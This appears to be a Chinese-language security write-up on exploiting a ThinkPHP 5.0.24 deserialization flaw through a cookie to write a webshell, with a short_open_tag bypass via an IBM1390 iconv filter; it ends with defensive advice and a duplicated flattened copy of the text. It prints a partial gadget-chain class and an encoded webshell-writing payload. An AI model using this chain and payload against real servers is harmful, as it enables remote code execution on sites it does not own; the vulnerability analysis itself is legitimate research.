thinkphp5.0.x反序列化之遇到php开启短标签
字数 1083 2025-08-25 22:59:02

ThinkPHP 5.0.x 反序列化漏洞利用与短标签绕过技术分析

漏洞背景

本文详细分析ThinkPHP 5.0.24框架中的反序列化漏洞,以及在PHP短标签(short_open_tag)开启环境下的特殊利用技术。该漏洞触发点在于未登录用户访问浏览过的商品时,商品信息会被序列化后存储在cookie中,通过替换cookie中的序列化数据可触发反序列化漏洞。

漏洞分析

初始Payload分析

初始Payload利用ThinkPHP框架的反序列化链:

<?php
namespace think\process\pipes;
use think\model\Pivot;
class Pipes{}

class Windows extends Pipes{
    private $files = [];
    function __construct(){
        $this->files = [new Pivot()]; // 触发Model __toString()
    }
}

// ... 其他类定义 ...

完整利用链:

  1. Windows类反序列化触发
  2. 调用Pivot类的__toString()方法
  3. 通过Model类的getError()方法
  4. 最终利用File类写入Webshell

遇到的第一个问题:属性可见性问题

初始Payload在实战中失败的原因:

  • Model类中的$parent属性定义为protected
  • Pivot子类中的$parent属性为public
  • 这种不一致导致属性赋值失败

解决方案
Model类中的$parent属性修改为public

遇到的第二个问题:PHP短标签冲突

当成功写入Webshell后,访问时出现错误:

PHP Parse error: syntax error, unexpected 'rkvg' (T_STRING)

原因分析

  • 网站开启了short_open_tag选项
  • 写入的文件内容经过string.rot13编码后包含<?短标签
  • PHP尝试将<?后的内容解析为PHP代码导致语法错误

绕过技术实现

过滤器选择与编码转换

为了绕过短标签问题,需要:

  1. 避免写入<?标签
  2. 同时保持Webshell功能

解决方案
使用convert.iconv.IBM1390/UTF-8过滤器替代string.rot13

构造有效Payload

最终Payload构造方法:

'path' => 'php://filter/write=convert.iconv.IBM1390%2fUTF-8/resource='.urldecode('%4c%6f%78%69%78%40%78%69%78%71%76%67%77%4d%5d%5e%66%b5%62%74%4d%e0%6d%d7%d6%e2%e3%70%f1%80%5d%5e%6f%6e%25')

技术要点

  1. 使用IBM1390编码转换
  2. 对Webshell内容进行URL编码
  3. 避免直接写入<?标签

完整利用流程

  1. 构造修改后的反序列化Payload
  2. 将Payload作为cookie值发送
  3. 服务器反序列化后写入特殊编码的Webshell文件
  4. 访问生成的Webshell文件路径执行代码

影响版本

经测试确认影响以下PHP版本:

  • PHP 5.6
  • PHP 7.0
  • PHP 7.1
  • PHP 7.2

防御建议

  1. 升级ThinkPHP框架至最新版本
  2. 关闭不必要的PHP特性(如short_open_tag
  3. 对用户输入的序列化数据进行严格验证
  4. 使用自定义序列化处理器替代PHP原生序列化

参考链接

ThinkPHP 5.0.x 反序列化漏洞利用与短标签绕过技术分析 漏洞背景 本文详细分析ThinkPHP 5.0.24框架中的反序列化漏洞,以及在PHP短标签(short_ open_ tag)开启环境下的特殊利用技术。该漏洞触发点在于未登录用户访问浏览过的商品时,商品信息会被序列化后存储在cookie中,通过替换cookie中的序列化数据可触发反序列化漏洞。 漏洞分析 初始Payload分析 初始Payload利用ThinkPHP框架的反序列化链: 完整利用链: Windows 类反序列化触发 调用 Pivot 类的 __toString() 方法 通过 Model 类的 getError() 方法 最终利用 File 类写入Webshell 遇到的第一个问题:属性可见性问题 初始Payload在实战中失败的原因: Model 类中的 $parent 属性定义为 protected Pivot 子类中的 $parent 属性为 public 这种不一致导致属性赋值失败 解决方案 : 将 Model 类中的 $parent 属性修改为 public 遇到的第二个问题:PHP短标签冲突 当成功写入Webshell后,访问时出现错误: 原因分析 : 网站开启了 short_open_tag 选项 写入的文件内容经过 string.rot13 编码后包含 <? 短标签 PHP尝试将 <? 后的内容解析为PHP代码导致语法错误 绕过技术实现 过滤器选择与编码转换 为了绕过短标签问题,需要: 避免写入 <? 标签 同时保持Webshell功能 解决方案 : 使用 convert.iconv.IBM1390/UTF-8 过滤器替代 string.rot13 构造有效Payload 最终Payload构造方法: 技术要点 : 使用IBM1390编码转换 对Webshell内容进行URL编码 避免直接写入 <? 标签 完整利用流程 构造修改后的反序列化Payload 将Payload作为cookie值发送 服务器反序列化后写入特殊编码的Webshell文件 访问生成的Webshell文件路径执行代码 影响版本 经测试确认影响以下PHP版本: PHP 5.6 PHP 7.0 PHP 7.1 PHP 7.2 防御建议 升级ThinkPHP框架至最新版本 关闭不必要的PHP特性(如 short_open_tag ) 对用户输入的序列化数据进行严格验证 使用自定义序列化处理器替代PHP原生序列化 参考链接 ThinkPHP5.0.24反序列化链分析